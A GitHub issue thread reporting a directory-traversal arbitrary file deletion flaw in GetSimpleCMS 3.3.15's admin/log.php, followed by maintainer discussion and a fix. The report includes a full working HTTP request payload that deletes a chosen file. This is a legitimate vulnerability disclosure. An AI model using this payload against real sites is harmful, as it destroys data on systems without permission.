

New issue

Jump to bottom

Arbitrary File Delete - Security #1303

Closed jadacheng opened this issue on Mar 5, 2019 · 8 comments

Labels PRIORITY SECURITY

Milestone 3.3.16

jadacheng commented on Mar 5, 2019

Hi There.
I found GetSimpleCMS-3.3.15 allows remote attackers to delete arbitrary files via /GetSimpleCMS-3.3.15/admin/log.php

payload:

```
GET /GetSimpleCMS-3.3.15/admin/log.php?log=../../../../admin/cron.php&action=delete&nonce=babc600c8b8302dfd822f7eba42f846c3ddb8a5 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://127.0.0.1/GetSimpleCMS-3.3.15/admin/log.php?log=&action=delete&nonce=babc600c8b8302dfd822f7eba42f846c3ddb8a5,babc600c8b8302dfd822f7eba42f846c3ddb8a5
Cookie: vGmm_2132_ulastactivity=5a661sXeZdcONhOLRjRQVgmwjWfexLQ79o0n0IdEN01bV4a1I3eU; vGmm_2132_nofavfid=1; vGmm_2132_home_readfeed=1546482302; vGmm_2132_lastcheckfeed=2%7C1546563267; Hm_lvt_6bcd52f51e9b3dce32bec4a3997715ac=1547020074; Hm_lvt_7b43330a4da4a6f4353e553988ee8a62=1550382234; BLUDIT-KEY=5cqmavvdagu99n16379n6ukdh3; GS_ADMIN_USERNAME=admin; 0e6a4c84dc43b5a41cff73fd930b4137fbb4876d=37cc0e982d3f96291f160dcefed4aede2bb6e77; __atuvc=1%7C10
Connection: close
Upgrade-Insecure-Requests: 1
```

then the file /admin/cron.php will be deleted.


n00dles commented on Mar 5, 2019 Contributor

cron was removed nearly 7 years ago and is not part of GetSimple since version 3.1
Did you just copy the 3.3.15 files over an old version?

jadacheng commented on Mar 5, 2019 • edited Author

I'm sure that what I use is 3.3.15 version.
Cron was removed but the file cron.php has not been deleted, I just use cron.php to do an example and it can be any file.

 tablatronix added the SECURITY label on Mar 5, 2019

 tablatronix added this to the 3.3.16 milestone on Mar 5, 2019

tablatronix commented on Mar 5, 2019 Member

we can add a cleanup to our updater, if someone has some restore or upgrade since 2.x, interesting that we do not already though...

tablatronix commented on Mar 5, 2019 • edited Member

hmmm, maybe this is just 3.4
3.3.15 overwrites the file with an empty file

```
// deprecate files to be removed
$delete_files = array(
    GSADMININCPATH.'xss.php',
    GSADMININCPATH.'nonce.php',
    GSADMININCPATH.'install.php',
    GSADMININCPATH.'load-ajax.php',
    GSADMININCPATH.'cron.php',
    GSADMININCPATH.'loadtab.php',
    GSADMININCPATH.'upload-uploadify.php',
    GSADMININCPATH.'uploadify-check-exists.php'
```

tablatronix commented on Mar 5, 2019 Member

oh this has nothing to do with cron, although that is the vector, this is still a problem if there are other php shells on the site or host

 tablatronix added the PRIORITY label on Mar 5, 2019

tablatronix commented on Mar 5, 2019

Member

☐ clean logfile filename

n00dles commented on Mar 5, 2019

Contributor

the 'exploit' was sorted in 2015

[ddbdb03](#) [#diff-ec5627f6e94fd2af5f01a7cff85acb93](#)

 tablatronix pushed a commit that referenced this issue on Mar 5, 2019


[fixes #1303](#)



44abae3

tablatronix commented on Mar 5, 2019

Member

dir traversal protection was not being applied for delete

 tablatronix closed this as completed on Mar 5, 2019

  cnb mentioned this issue on Mar 7, 2019

External Control of File Name or Path in 3.1.15 #1304

 Closed

Assignees

No one assigned

Labels

PRIORITY SECURITY

Projects

None yet

Milestone

3.3.16

Development

No branches or pull requests

3 participants

